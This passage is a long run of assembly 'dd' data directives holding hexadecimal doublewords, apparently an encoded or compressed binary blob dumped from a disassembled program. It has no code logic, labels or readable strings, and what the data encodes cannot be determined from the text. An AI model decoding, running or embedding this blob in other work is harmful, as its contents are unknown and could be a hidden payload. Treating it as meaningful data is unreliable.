9708973h, 0C4E6EE10h, 8291C00h, 0FC7BEADCh, 49820D2Ch dd 0F0C1AFE5h, 75304D96h, 8A6550DDh, 0C0A36834h, 0F2830210h dd 880D124h, 5530FD51h, 0F88C9703h, 1859E105h, 0A8950A08h dd 3275C320h, 0F6CECA00h, 773594E6h, 0EE50007Bh, 0AD3F550Eh dd 84520FFDh, 320EB22Ch, 0AE09CC60h, 0AC507A68h, 0EF2C6B1Eh dd 8273B420h, 4B0FBA79h, 0C0214849h, 7791D3D4h, 584000BBh dd 67FB1D22h, 0A701EA54h, 5A4E5F04h, 7DE0AA62h, 9F940050h dd 0B271C153h, 0E100F588h, 1456F65Eh, 7AA91Ah, 57DC1178h dd 39F35AE6h, 0FFDD3Eh, 9B1FE55Ch, 86EE4Eh, 298D0968h dd 13BF2004h, 22A7C300h, 0EC540597h, 0BCAE0069h, 81ABE7FFh dd 5A00636Fh, 0B1397CBDh, 173A2060h, 68A20Eh, 9BE234AAh dd 2400D2D0h, 94305309h, 163EF3h, 1AA967C4h, 4747192h dd 1E334400h, 6D118BA0h, 0DCE800EBh, 52F40386h, 0F51D9FA4h dd 0EE80E123h, 0E081142Ch, 98073E62h, 7EB701FFh, 6166B55Eh dd 0A2C8703Fh, 0CC996900h, 87DDCE44h, 2CFE00EFh, 683C906Ah dd 1B3B248Fh, 0A63BBAh, 797B739h, 0F60C327h, 6C79D534h dd 2D96809Eh, 0CAD694AFh, 1BFE7D00h, 0FC8CE2D1h, 0A4730E21h dd 30E0B188h, 5F8ADAF9h, 5905C03h, 0DEBB2213h, 6A180098h dd 0F228157Eh, 7401DFA6h, 0DE9E6291h, 0A8559258h, 0BF6EDB80h dd 7C2F00A8h, 3BA6E857h, 713FE098h, 316B80E6h, 83C0260Eh dd 0B7B80FCEh, 0DEE7F4ECh, 52AA2098h, 17009768h, 0B351D913h dd 0E806D4h, 0CF8AF3Ah, 0F6A5B512h, 0B7FFE400h, 0D34615BAh dd 359813CCh, 31660021h dd 2B7940A2h, 0D7D9160Ah, 4F01D7E9h, 0E3031268h, 7B8EBBECh dd 60B2E037h, 3C69D896h, 0E000A5A7h, 0A30D587Eh, 7BBC91Ah dd 0B327EEA0h, 4828001Eh, 0A900D330h, 97883E69h, 3202EFh dd 9A4CFB3Fh, 78DFC16Ah, 86F3A93Ch, 0A88596F6h, 0C44E3A10h dd 0E746D80h, 4524FF31h, 0E48C731Fh, 0AC523841h, 3E309A41h dd 44D600E3h, 0FF40A3B0h, 5600FDEDh, 0BD32CE43h, 3E4EEA8h dd 521F845Bh, 91D8F1ABh, 8F062DEBh, 9CAE7585h, 1C1FCF9h dd 160F956Dh, 2059F82Ch, 0C01E1DA8h, 8B074F70h, 370399C4h dd 0C29CF897h, 0A06E5FEAh, 500EA7EDh, 0C6197E3Bh, 0C0AD47h dd 0C4396676h, 94BE99D1h, 770030E6h, 0DC817C93h, 0B7A7E0h dd 5B69FC5Fh, 0E31E3F41h, 8963FD00h, 48B9CCA0h, 0BEF886h dd 47378531h, 0FA64F76Fh, 23219F00h, 0DFE794BAh, 92A5h dd 0CCBC6815h, 49C6431Ch, 809B7200h, 9D0CAC21h, 743401B4h dd 0DCA60E46h, 27A080ABh, 0B2C31660h, 64B812ACh, 0AF20006Bh dd 46884541h, 90C0B900h, 8F62E506h, 7CDF09A1h, 5C0E1D10h dd 43E89281h, 405BCD31h, 61C65D82h, 79213807h, 0F7A08052h dd 7D668Bh, 24E0FA76h, 5DE41936h, 3CD49107h, 27608A6Dh dd 0A25EECh, 667CE345h, 21E7F0C8h, 6C5FED00h, 646D1863h dd 0DC4401A3h, 62417560h, 8BEE20C3h, 0C0C8E007h, 3F26CA3Bh dd 99150918h, 0C002092Ch, 5BC05F3Eh, 19007D0Fh, 9C756714h dd 4D0B6h, 9041F61Bh, 96E7173Ah, 0E843C001h, 0B7B07A6Ah dd 3F719430h, 5281461Dh, 0E58FC83Eh, 0F9E30FBh, 0B30C6D00h dd 0C0118736h, 0EFD83BD9h, 0CBF05387h, 0A5E0DFC8h, 7DF26395h dd 98A97B28h, 0AB754800h, 0FDCE803Dh, 0B1080393h, 74169DDAh dd 119CAE8h, 0D8B20F00h, 0E96E4DE1h, 8E22008Ah, 0EC2562DEh dd 4A00E526h, 13E635D9h, 75313730h, 9F5002Ah, 2FEF1667h dd 6600B9BCh, 0C0569038h, 341F87Ah, 4E63B0Ah, 8803A2F0h dd 0AC49082Dh, 0B54C006Dh, 94E0EA3Dh, 0E426DC36h, 0FC20F888h dd 16AE6E03h, 8F647Ah, 1FFABF10h, 0F39269B6h, 61EE8504h dd 80EB8AA7h, 7B6A7160h, 501888F2h, 0B719B8F4h, 763800DFh dd 0A3DBBAEFh, 253D9CCBh, 1258C84Eh, 81C067C3h, 7F77C5h dd 0CDE6FD75h, 0EDD7E1BAh, 0FF0E8F7Ch, 0C083B818h, 50421C8Ah dd 79EE3AD5h, 0B35F2181h, 70DF9FBFh, 321DE37Dh, 1E404AF7h dd 4653776Ch, 73D273E5h, 0A430054h, 952A1615h, 7B3FFA9Ch dd 1A0D00CBh, 0E1DAFD1Ch, 2DB0033Fh, 0BC792F51h, 19555BB8h dd 4528C600h, 3AF6BFFBh, 9EC80172h, 67CA1F4h, 46472064h dd 801DF7FCh, 0FD1EEDh, 88EEEBB0h, 23B977h, 74D6ACF2h dd 0FF65DA4Ch, 0D02C5E00h, 754334FEh, 40B50050h, 777E2EDDh dd 492F33Bh, 5A8B0D00h, 1DEDA8EFh, 4D50004Eh, 578F202Ch dd 0EA26AB55h, 0F18030FAh, 0AF305290h, 0FBC339CCh, 89123E00h dd 358B0CE6h, 0E5FD5C00h, 0AA80BA6Eh, 190E00D2h, 9C498409h dd 2DE841B2h, 4CEC6B01h, 0B5BADE61h, 0F6007B78h, 0D01EB21Bh dd 511C53F5h, 71C0AC39h, 9FC40563h, 0CDBF00D9h, 5844F265h dd 1A001996h, 23C31D1Bh, 0C43814h, 0B710A5AEh, 86878AD7h dd 0D23A2400h, 1D353173h, 0F0753805h, 0EBE6A300h, 458856B6h dd 0D94FF701h, 38247BD1h, 1A40E4h, 272682C5h, 0EC2EE02h dd 18DB461Ch, 0D8DDCCC0h, 0E86D7FBh, 4B6C37AEh, 73504CA0h dd 0DB38E2E0h, 71E900F3h, 4501C3D8h, 5C9A19h, 0C902969Ah dd 0C74739B0h, 682B2105h, 8180B888h, 17150CDh, 0A0FAF0E9h dd 4065F2B3h, 23768DF4h, 0A988800h, 5C61F503h, 0E7AF3D2Ah dd 0E37F5300h, 0A69E0C9Fh, 9DC9D000h, 0BA3501DEh, 0D8FE26B2h dd 426080D0h, 8ECD736h, 9D870C1Fh, 9830675Fh, 0D66151h dd 0A765ADDh, 2E7BB021h, 0D82C280Ch, 1EE241D5h, 3DB67F9h dd 0EE6881B4h, 495EDA0h, 0F671F5FCh, 9806910Fh, 0E6620D5h dd 30E0E141h, 0D8F8619Eh, 0FD0FEA32h, 1F797483h, 355A4100h dd 56049Ch, 2F175D53h, 9F68CAA9h, 9D78D23Ch, 0C9A4B2DAh dd 0F8087D00h, 615EE4FAh, 9AE091D6h, 75C19F62h, 3B523600h dd 0EABF7Dh, 20A80DCAh, 0D48088AEh, 2A879C0Bh, 14060099h dd 2FE22B3h, 0A1B2ADBDh, 60F77470h, 0C89FBEh, 0C7946778h dd 0BB9B976Ah, 0D86DAB01h, 3C66A8F6h, 0FC200CC8h, 335700D9h dd 6F375417h, 4A008BA7h, 22D6825Ah, 320C89h, 0C171951Dh dd 0F27D5C7Ah, 7B901E00h, 2898F183h, 9DFC23h, 0B0ED7751h dd 840B3E53h, 0F5A49151h, 67DCF011h, 95652902h, 60210447h dd 543B0EA0h, 0CAA8EAh, 1569A89h, 296BA995h, 30AA263Ah dd 0AFEA21C4h, 3FBE02F1h, 0ADED450Ah, 0C8D89481h, 7FD1C8C4h dd 0E8F61809h, 4566804Ch, 0B00190h, 4B8B81B1h, 0ABC550EFh dd 729B24h, 0E30D7900h, 254749Dh, 39BB4B96h, 2044ABCFh dd 0B168011Eh, 42547840h, 1A7CCE5h, 6692ABE3h, 0F1790791h dd 3100EBA0h, 6E248BD4h, 7B5D905Eh, 469900B1h, 54773BA6h dd 3725ADF3h, 0AA500039h, 91967Dh, 0FA89F80Bh, 0C98DE0D8h dd 0B76077E8h, 919DDD50h, 0DDDA511Bh, 301C7EE0h, 6E80A559h dd 0E400DB6Ah, 0C7DC08Fh, 4571B7h, 7420E0DDh, 1F6D6C72h dd 55E8A570h, 5C001077h, 41CEB036h, 0A02A0Ch, 9E53DEFFh dd 0DFCC7587h, 66909F02h, 40976424h, 0F4EB364Ch, 2062000Bh dd 0FD5F7A0Dh, 0B21C6D5Dh, 90000F68h, 9AAF5A6Ch, 0D02502DDh dd 3FEDAC89h, 932093C0h, 0F9A6C100h, 2C8E24FDh, 34F400D1h dd 0A73753D0h, 6100CA25h, 3313F5C3h, 1F16802Fh, 0C069143Eh dd 0F0657228h, 530FE9E2h, 613B43C6h, 0F94F5D1h, 78A5B70h dd 2538D63Eh, 0ABDE80C5h, 780131BDh, 70E0C9B2h, 13D0E9F3h dd 0BB340099h, 86FE16FCh, 0E73D4ABCh, 0A07A0065h, 0CD90F493h dd 0A224003Dh, 2F1B4F71h, 0C1034518h, 1D088C91h, 539DC04Ah dd 0F23801C4h, 0A8F1EE8Ah, 0B925D477h, 809CC538h, 65A55D8Bh dd 78FB21h, 3A576E55h, 981AE828h, 8920C200h, 0A2DA759Fh dd 6A3538E2h, 0FC1B0900h, 0F56FB76Ch, 9D7E2100h, 30850A1Dh dd 127EC3Dh, 3F188189h, 201145E1h, 9E0025C2h, 0D5BB35F6h dd 13A7B3h, 6D08E54Dh, 76912B02h, 0A2A9DE00h, 0F6A6E8D7h dd 490A0007h, 0A0E12565h, 9300569Ch, 9A18809Fh, 0DABA61h dd 0B2FD0DE4h, 0D994402Fh, 82F0DB00h, 118C233Fh, 0AF7C0008h dd 1EDFC61Dh, 352D2FA0h, 4EAD475h, 0C0F61789h, 4C9BA738h dd 0D7554803h, 0E028E442h, 0B02ECD2Ch, 0BC38004Fh, 5C44C7A1h dd 903393Ah, 0C2E6038Bh, 1831A023h, 0FCB907E3h, 204E8847h dd 0A3918CA2h, 5A2A7300h, 0D08A9924h, 29F3890h, 87D17F00h dd 0DA35D64Eh, 1F9B5F06h, 20DBCDh, 0E6A1BB66h, 17773FAFh dd 0E8BFF30Ch, 2EB55854h, 4E1B0Bh, 0AD1DD88Eh, 1000FFF5h dd 0C572F197h, 1A677BCh, 6BA162C1h, 0CC31B33Bh, 4BEA16F7h dd 0E31D5707h, 8920EDFEh, 0F68CB6BFh, 8DEE00F1h, 2DD63B85h dd 0B4004C77h, 5B1E811Ch, 0ACF6C1h, 0D839DC40h, 90221F47h dd 8CF00C50h, 31B4B100h, 574F7E6Fh, 75900A1h, 9A963B1Dh dd 163EB044h, 0E0D400ADh, 0C225B236h, 5B991ECAh, 0A9FA4ECCh dd 0DF376FA0h, 0F2010C8Ch, 4C2BFBF1h, 86C07EF4h, 9FEE0073h dd 0CA0D2A0Eh, 0CB07F14Eh, 0F8FAB21h, 17481B70h, 44B8AEh dd 0FC731EA8h, 158151B6h, 0B1F84905h, 0A8804AC1h, 25EFBF3h dd 0FED1CE53h, 9A60931Dh dd 0DC00D687h, 760ACF57h, 373674h, 35AD4C9Ch, 0F11F2305h dd 83003BECh, 12D2CB9Dh, 618B8Ah, 0A4256497h, 0FD1FD81Bh dd 3835F500h, 0E2B46B71h, 0F010C0FCh, 0FAB0423Bh, 0B5A7302h dd 48B81F5Ch, 0FA3A8564h, 8A32018Fh, 4BB1348Eh, 65BDD49Ch dd 0BB059600h, 4F44C1C6h, 4D6D0086h, 0A17BF501h, 2A002364h dd 5309D860h, 0ED0C29h, 0E1B8F277h, 5A3DCFFDh, 42559200h dd 0DF6596E8h, 0DE250080h, 0ED5F4062h, 17007502h, 3B34B7E6h dd 1035A0h, 4F949EEBh, 0FC0A5647h, 0FEC61700h, 0D8767A09h dd 0F20D008Fh, 3C527E2Bh, 0B2002907h, 0C4A7F54Bh, 3E7879Ah dd 0AD9116A4h, 0BDE93E90h, 478B20E2h, 30004476h, 60644F7Fh dd 3E80A4E9h, 3D80BB5Fh, 0B981DBF8h, 0A1013CC3h, 16787741h dd 9FFDEDE0h, 361C570h, 1AB5A3E5h, 3DF03359h, 18F8852Dh dd 0DAAF3500h, 0DD05A2Eh, 0FCC2A0D3h, 5E246h, 23FB7085h dd 0BCC2EE33h, 17736612h, 5C8CFB00h, 0A155F4h, 3BBE0AABh dd 9E68DAFBh, 24CB0C00h, 712140FAh, 6E6B0038h, 9628E63Eh dd 0A971571Fh, 24BA39h, 0E48408CEh, 66DE7Fh, 0B61F5E02h dd 763A8612h, 36A00600h, 0BF3407F4h, 5C1D128Fh, 77F000D4h dd 0A4F55FD8h, 0A4D9A838h, 0D281E4E7h, 0FE1ABEB3h, 3F581820h dd 9E8028DFh, 230C3E66h, 2A3AEB7Ah, 9D5B8353h, 26555DDCh dd 1C3DD638h, 891F80F3h, 2064C93Fh, 0EDEC7F50h, 0C887DF04h dd 96C07319h, 3D613F80h, 0A993BA31h, 0C78803A6h, 0EE81A8F7h dd 0E0B08935h, 9A3300B4h, 0BDD9BCh, 3C0C28B2h, 9051416Ah dd 0CA724700h, 7722B16Eh, 4F580048h, 0C595DCBAh, 6C00D8C3h dd 0F123E3E8h, 2B528DDh, 7B6FA37h, 0E7812D0Dh, 0C00EEF7Dh dd 8F3A6D3Dh, 80D53A56h, 0BA322021h, 706379h, 93714EE0h dd 581BDAD7h, 8816EE16h, 80AE00EAh, 3761C1DBh, 9C35F92Ch dd 2442803Dh, 5CA5977Fh, 7B51F72h, 12FF5C6Eh, 3C201C05h dd 0A488C103h, 80E8B48Ah, 2D791E0Ch, 0D4D20400h, 0E322729Ch dd 8917006Bh, 64EFC11Fh, 0BA039B94h, 0FE68B685h, 0C06A9252h dd 0FC0FB9h, 7ECAFB2Bh, 0C2C61EB2h, 0E081A309h, 6E66819Ch dd 0B5C42B12h, 94450072h, 401B2C5h, 0C0007142h, 22AFD493h dd 71D9953h, 3630433Dh, 0BCADF0ECh, 0CD0469BEh, 98320CBAh dd 0BF9DD8C0h, 30991C06h, 0D88380B3h, 62058827h, 0D1959600h dd 0BB476F08h, 381D0314h, 0BFA0B501h, 4048D7FAh, 91000280h dd 7B2A70B1h, 0EFF1E372h, 8EADF0h, 3D1C13A4h, 3B4796EFh dd 0AE47D00h, 66E71E65h, 0E0AB0323h, 2A989721h, 0F24A0C8h dd 930C3EF2h, 605A5D8Fh, 2228000Ah, 12811B80h, 0EA3C75E2h dd 5DF9009Ch, 3C7372A4h, 0F2C0FAF4h, 0AD6E370Eh, 0F7C88098h dd 0F800897Dh, 0E86A9DD4h, 7531E29Eh, 7CC00FDh, 0F2F4450Ch dd 0C775613Eh, 0B000EAFEh, 0A834F990h, 0EA1E5580h, 0A0980Fh dd 0FA8BD7EDh, 0B6F98DB3h, 80A726h, 686CF60Ch, 39C506CBh dd 198DF4F8h, 6019DA28h, 0D32FDC01h, 0E2C140ADh, 2AD69220h dd 7B704DC3h, 3EE6B1h, 866A3B88h, 5A408145h, 704E9603h dd 0D8D1BFF5h, 13C7DBh, 378F59F0h, 1D8A8B88h, 984ED6E2h dd 1FE47A0h, 24D4ADB1h, 0D826EE01h, 0C2070B8Fh, 0F2346299h dd 0C6E0B4C7h, 32A398h, 293C460Ah, 705235E8h, 0D5C29A00h dd 0B08B4F57h, 3B8F28D6h, 83460080h, 30E6BDF1h, 31389E55h dd 39CC9C14h, 0A203906Ah, 3F65A9Dh, 1554B076h, 8BF236h dd 0CB1AFDCCh, 0E1BBA0FFh, 6A2A7D0Ch, 71F927h, 36ABEA91h dd 3FA76FDEh, 925DCF07h, 8800588Eh, 0C820E0h, 418D0170h dd 29CBC0C6h, 0CF99220Bh, 2C40FB0h, 0C882907Bh, 7556D74h dd 0C123840Bh, 208EF0A1h, 721D223Bh, 67003042h, 1A5A0ADEh dd 53A30061h, 91016ACFh, 0BA008B8Ch, 0C3DB40AEh, 3EA464E3h dd 54FBB747h, 3720E890h, 916981F1h, 0E070FFF4h, 5800809Fh dd 53D6B2F8h, 0EAFE5Dh, 0D83A045Fh, 0CAAA63F4h, 18542600h dd 1F8125DAh, 83CF038Ah, 27221E0Fh, 54118D98h, 48697E09h dd 320F6ADh, 752883B8h, 440DFA8h, 7206200Fh, 0DA0725D5h dd 78D814C0h, 3459006Dh, 205C9A54h, 0A600D694h, 0D76FD137h dd 0E5FBD98h, 978767CEh, 380E3420h, 0E9730C11h, 0BE53C900h dd 843A5AEAh, 248900F8h, 0AEFB551Fh, 0EC007776h, 72BD9D85h dd 3CC1398Eh, 3D9C2C6Dh, 7BAD00F6h, 0D9CA2EC8h, 1DB6B800h dd 0B2185F49h, 0CDA10024h, 7E60439Ah, 0A8001B79h, 59DFB32Eh dd 19946E2h, 0FE66DA54h, 7071CB22h, 0A1077EF1h, 0B03E507Bh dd 3859F6h, 7C28D5E1h, 0A5045C30h, 61F5A007h, 2621181Ah dd 2AF413D6h, 6F02890h, 97A407C6h, 0CFD44A49h, 9D33BEC0h dd 0F0007302h, 5C45C321h, 90FFC867h, 6EA0050h, 0BE3CED3Eh dd 4000AAD6h, 0F90922CCh, 7A45E0h, 3AC7835Eh, 3170EF23h dd 4ABDED00h, 9EC2099Ch, 5D5B006Dh, 11FF8F51h, 31E27796h dd 0F501F4E0h, 0F7759EC1h, 22E03F08h, 6285005Ch, 17DB6A54h dd 6D03B5A2h, 449AD260h, 8C739879h, 0D3A901F6h, 0C08F8576h dd 0D0C447FCh, 88AA82ADh, 67C6B800h, 5DF25127h, 42871F4Ah dd 971E06h, 8D587AD3h, 0E0008424h, 1E2BB8ADh, 6A43DCEDh dd 705581Fh, 0A0590B79h, 0A2889929h, 0CACEE400h, 0F22D0827h dd 0D7A900F3h, 0DE160D84h, 0F400A0D9h, 831CB071h, 78CDBF7h dd 0E6BD758h, 630D603Dh, 0E2004EC7h, 506EF6E7h, 7EDB94h dd 0F50B246Bh, 258BE553h, 73629300h, 0A50A87F9h, 0BE050FDEh dd 1881B14Bh, 608C600Ch, 4C007600h, 9BDF7D84h, 3AA0F3Ah dd 12796937h, 0EB98BEF6h, 0F83D250Ch, 4A290078h, 4CDAEE0Bh dd 181B004Bh, 0ACBF9521h, 0A37239ABh, 4D684300h, 0F3ADAED8h dd 0E50201FEh, 12F5B3BDh, 0C439C0EAh, 0C66CD200h, 2DEC87A9h dd 78CD002Eh, 697A192Ch, 0E2EE1018h, 4E3E90Eh, 485B2026h dd 0DB1AA8h, 0EB07BDCAh, 0B77D067h, 0EF8780Fh, 371EC0AAh dd 351FA1Bh, 22A34838h, 2AB8362Fh, 30073CD3h, 77166012h dd 0D7C3F591h, 26DD68E8h, 1244BE4Fh, 0C0BC5C8Dh, 29579D1Ch dd 2A016401h, 79965669h, 90402FEAh, 0A3F7DABEh, 0A80D8E8h dd 8C203A2h, 0E2D4DC8Fh, 9A41E4A8h, 0F2795503h, 0A82AA5C8h dd 72DF8C90h, 0A33A0011h, 72465830h, 0C300AABDh, 0C578C25Dh dd 0C1AEFE2Dh, 0B5FA6338h, 0A51E8D5h, 90339E24h, 49E351Ch dd 0BFD71682h, 0B63160C7h, 0DE8907AEh, 0CA1AA6DDh, 2C7E008Ah dd 0F3997282h, 1E00A076h, 0DA40C380h, 483CF5FEh, 7F007B6Ch dd 1825DDE6h, 4CF0A51Bh, 0FDE44900h, 0A1E1261Eh, 33C5002Fh dd 0A09D7EEFh, 0D13AF8ADh, 3EA207A9h, 4E97B94Ch, 0EC5D4B60h dd 3AE2758Ah, 0AC82D208h, 0C45E954Dh, 4300B08Bh, 46B3A87Dh dd 756CD01Fh, 0AD80B75Dh, 0EDEE0C43h, 0DFE38A3h, 403D6300h dd 0D6B5C28Fh, 1E00CA7Bh, 0D2DB5C21h, 0D9512h, 82994006h dd 0FA24C03Ah, 9F8FB602h, 483245E4h, 4F9858h, 14F3D9FDh dd 0F4A20218h, 99D51700h, 0CD29EAA3h, 0D8900E81h, 48CADD2h dd 4F02D920h, 0D6209A74h, 446460ABh, 8D230DB3h, 0CC10AC22h dd 0D000CB92h, 0A2215855h, 0F2B2B556h, 713B78E9h, 48401425h dd 1E388472h, 38AEAA87h, 1A0700A2h, 140013F3h, 35495C9Bh dd 0FCAB158h, 0FB789ABFh, 31CEDE00h, 5FE81319h, 80E04E3Ch dd 0E88FE2ADh, 0FDFC7E9h, 3B604E7h, 162FE5C0h, 3B38656Dh dd 0D0D780BEh, 0DCCB0F40h dd 42307DDh, 0CBBBB4E9h, 438F0480h, 0E801BA01h, 65F6D06Ch dd 3260C637h, 347F084h, 0D6D734CAh, 0BF884C38h, 0DC0FFEF8h dd 80232E8Dh, 5AC164B9h, 52B10E5Dh, 280B21Ch, 17706991h dd 81680C3Fh, 0C5B45BA9h, 0B8C81311h, 883900E7h, 0A0285E70h dd 2F005899h, 4A9414CBh, 18AFA4h, 1DD2F4A7h, 669F4FCCh dd 0E28B091Dh, 27D9A1Dh, 53C0D115h, 5B0840CEh, 44802A4h dd 49EFA7C7h, 0FDA0858Eh, 1B6489B2h, 9C7B8B01h, 0AC4C959Ah dd 77A0F4h, 86DFAD21h, 3F4EBC9Eh, 2296A00h, 8DC0D3CFh dd 4C90009Fh, 41DE9DCEh, 150E8991h, 8069E6D4h, 0D8F88E51h dd 1A07BFEh, 0A2773520h, 0E43A2F79h, 753ECDB0h, 0DB9B073Bh dd 6E43ADD3h, 653CD011h, 73320079h, 24E2A599h, 1F00CA2Fh dd 0F5509195h, 4C69742Bh, 7E007C4Ch, 4E342AD1h, 9DFE7F32h dd 63F031Fh, 6ED5978Eh, 5B8E00AEh, 3274E49h, 3955C152h dd 70885CB0h, 8A03023Ah, 7FDF2F28h, 0E290AF0Eh, 93EFEDh dd 776F4EACh, 64F4979Fh, 6EDC5200h, 4481CFBAh, 6C4907CCh dd 70C57634h, 7F9BE1DAh, 8B00F490h, 7DE037F6h, 38567Ah dd 9FCE7174h, 0E1EAC9D9h, 0EDF4EC0Fh, 0B1AA0022h, 33A5FA8h dd 70A60691h, 5D908DE3h, 0F3004C2Bh, 38C3D048h, 45420Fh dd 8A9F977h, 0A6418A89h, 0AA14C41Eh, 828D003Dh, 0AD79BB3Fh dd 0DCF64C23h, 0E625E01Fh, 838B1EA8h, 21DBC356h, 27B80800h dd 0ED6452E6h, 67EF02B4h, 1F689CFBh, 5D6ACA60h, 0F3D54700h dd 3EEEAEB2h, 0CC7C1842h, 449F5924h, 37A1BA00h, 0E172F50Ch dd 0DB8D00AEh, 0A2B456EAh, 8E006D0Eh, 8AFBC12Dh, 13F3504Ch dd 0BFCB6E52h, 901A11h, 98416CB6h, 5071BEF4h, 2CDC0CE7h dd 80EC9009h, 4072EE5Eh, 1F031839h, 41B08AE4h, 0CFAEB817h dd 0DC0201DFh, 4F84CB26h, 6404D45Eh, 40F4C300h, 7F7E9790h dd 58F71EFAh, 2053C0F3h, 6D044770h, 0FF7CCA00h, 346ACF0Ch dd 7971E8ABh, 0AF796Fh, 0F161CD42h, 0BA82C23Ah, 5836C700h dd 3EA77BDFh, 1793B03Dh, 9902C5h, 1EEA970Ah, 430EB963h dd 607BD091h, 0A938A26Ch, 8D7500A3h, 0DB7FB8Fh, 8400F314h dd 7EF63F7h, 10E7EE0h, 0ED709057h, 40AB4FB2h, 90656D4h dd 3921553Ah, 4C798E0Fh, 21B0FF05h, 0C28FDh, 10E59948h dd 0A7B5823Fh, 0F0BD9B00h, 5B2B1517h, 0EF3019Fh, 41ADEF1Ch dd 89AC5277h, 0FA5A6C40h, 7E487C06h, 8AFDCh, 0F68AEF86h dd 66DF182Ah, 0B8009776h, 17DDDA6h, 0B133DBCh, 0DB8F8448h dd 0B8378C55h, 0CC990F21h, 558380F0h, 2BBC41Dh, 3848FAE2h dd 59C08441h, 46927361h, 0D14E003Dh, 0AE7BA093h, 3200C304h dd 7F096B8Dh, 2D239F3h, 19292F11h, 5C9314EFh, 0FA43DFB0h dd 415F18F7h, 0DF9D00ECh, 9F007BEDh, 0F364C9A8h, 3EE8494h dd 0AA59F280h, 592331D9h, 2F03573h, 0AD3F8E4Eh, 407D2C84h dd 39EEB61Ch, 8EBB07F7h, 90C142BAh, 0F5CE9A3Bh, 10F8490h dd 0E0978C2Bh, 0CA41A145h, 59E90191h, 46129E08h, 1D66DC89h dd 80F5EF3Dh, 293EA9A2h, 769F8B4h, 2C1C8BFBh, 25C4D1DEh dd 0B052F86Ah, 0DA824Ch, 0C090C929h, 175A2442h, 1534581h dd 7F721E72h, 0EF73E42Ah, 0A5043600h, 16E98221h, 2F2E1C94h dd 0DDF5C0A8h, 9CF2ED0Dh, 1F693D07h, 0B584374Eh, 80CDC2C3h dd 7ABF7D95h, 0C92D002Eh, 2393177h, 700DA60h, 9CE4A019h dd 3A5C78h, 0E645B7A8h, 735EB07Dh, 2DA2F104h, 4480C82Fh dd 17CC7E7h, 30764C15h, 0D8BBE856h, 6E01A251h, 9FBD0EB9h dd 2ECC9DADh, 0C0E77E80h, 0E59A5388h, 500A01Ch, 9EC4E0EEh dd 39171E36h, 6E83D749h, 10C963DEh, 300033DBh, 3CDF19C4h dd 7959F3A2h, 0C9580073h, 706B2F3Ah, 0BF00DE11h, 9DBB8439h dd 64DE0DDh, 969F7FFh, 330118B8h, 0D72E3D94h, 0C7200283h dd 0E07A63DDh, 8007930h, 1CC24C33h, 7C8B7553h, 4078C07Ch dd 0C5846E9h, 1F13FF00h, 0A328F92Dh, 0FBF6009Bh, 0DCF6A57h dd 0C3F4697Eh, 2CC57700h, 1A8C4E43h, 0C8FBF942h, 7FD28235h dd 0DCC9006Dh, 73080EB1h, 59006C19h, 75C44C60h, 3E1B8526h dd 0E101B4F8h, 895F0E8Ah, 1408061h, 6AC73AF6h, 96007E2h dd 0E03E9F31h, 0F62182Eh, 83901013h, 0EE32A100h, 0A65F41h dd 0F7B1BE37h, 0E2696405h, 9F070E01h, 87C8DC62h, 33FB6D0h dd 6A35935Ch, 0B4D0F532h, 400509CEh, 0D39AD60h, 0B5F77DC0h dd 0F96000Ch, 0E45FE0D1h, 0B43D9FE7h, 98A0865Ah, 1F01EF0h dd 811FB37Ch, 0D89EEA35h, 78007267h, 0C030D028h, 0F11CFDh dd 0EED4319h, 83416EC5h, 9B9F7405h, 3CC00978h, 1C4EA1DCh dd 83A2BEC0h, 23F887E3h, 22A1A693h, 0EAC760B8h, 0AF92060Ch dd 1C1965h, 0BB4110ADh, 16852725h, 0FD8E3000h, 2A1FB4D6h dd 0E55100BDh, 9CB19075h, 83F67705h, 18124A04h, 7E80D7DBh dd 0D6E013h, 0BF39FF6Bh, 0AF222752h, 9058E400h, 0A649A34h dd 2D4B006Ch, 6A5FD640h, 0D3F06B70h, 0CF323E00h, 4C44C487h dd 0F6277F14h, 8B8500F2h, 35612636h, 0C6723C29h, 6B0DA400h dd 0A5876543h, 0CF0803DFh, 0F1DE307Eh, 778503Ah, 0CA125446h dd 0B63E8760h, 0FED00A8h, 4781837Fh, 0FB0C3DFAh, 0E0500B76h dd 60B10079h, 0D7902968h, 8DF548Bh, 55803C00h, 74B47CEh dd 713D32F9h, 0A7B411Eh, 3A9C4036h, 600088B9h, 0B55DD5F2h dd 1ED9719h, 8DACAEABh, 0CB9081EFh, 0C1B492A8h, 0E507C20Fh dd 0DE346189h, 7ACC9194h, 223F24E7h, 0A5C6001Ch, 28DF0F51h dd 12D1E11Ch, 0AD8A6D40h, 38340A14h, 3746FE2h, 32BEB1D3h dd 49B00811h, 4700FEE8h, 4112D4ABh, 13E695Bh, 0A51F09DEh dd 0F0D35ABDh, 5318CA0Ah, 3858E9D4h, 14F20201h, 0AE7E8363h dd 3540F0C0h, 99794198h, 901A7EAh, 13BAEDCEh, 66F06DC3h dd 9F27068Fh, 20F23989h, 0EE00557Fh, 616590E9h, 2608C386h dd 0D8E3FBh, 5CEB563h, 520050D3h, 0F143124h, 2E34BA11h dd 306AF3BBh, 268C87B0h, 16EAA0C1h, 198B6BC7h, 0EA836F27h dd 203FDA56h, 28E9B0FDh, 185C634h, 6DC73E09h, 801FF508h dd 88570D18h, 39216BEh, 9A26DF20h, 15E87DEEh, 0B9071FCAh dd 0B0413E4h, 0A832CF43h, 0A1679Ch, 2A47E707h, 0CA61294Bh dd 0B0294890h, 0A30824C6h, 0B8950781h, 0DCC060BCh, 6E5471B2h dd 0B1633AC8h, 0D89A1238h, 81D80Eh, 0EDA599C5h, 0C9336238h dd 0C8423Ch, 85235FBh, 12DF2Bh, 0B9C371B1h, 0EE4BA0DEh dd 1400C8D4h, 28980B40h, 0D9808BE5h, 0F954CB6Dh, 0C93EB380h dd 3F5852Ah, 8CF05B28h, 0B1A102D8h, 0B7811A31h, 0ADF863E0h dd 0CF781F1Dh, 0F78901BCh, 795EB257h, 0E082D2E7h, 0CD6F4Bh dd 0F13C2BFFh, 9DBD810h, 568D9D04h, 73C0C37Ah, 0A031A6D1h dd 1422CF8h, 7690F8C4h, 87E0AB89h, 0B9C7E891h, 38DC7Ah dd 79BA1951h, 0B0FE2708h, 35F800C0h, 1A1B6FC4h, 5D0044BCh dd 0EC6068A1h, 4C98BB38h, 33008874h, 0B9B6D2C6h, 340066B0h dd 0B5A58B12h, 1C3ABE13h, 803F52F5h, 0B703096Ch, 7003D75h dd 0A9AA736Dh, 3BFAE3Ch, 2D1B4A5Ch, 5ADAAD2Ch, 0B85E18E0h dd 3DD513Fh, 80B2194Eh, 39E2E8FAh, 7AA90A22h, 86144DA5h dd 11439D32h, 0CA2BD307h, 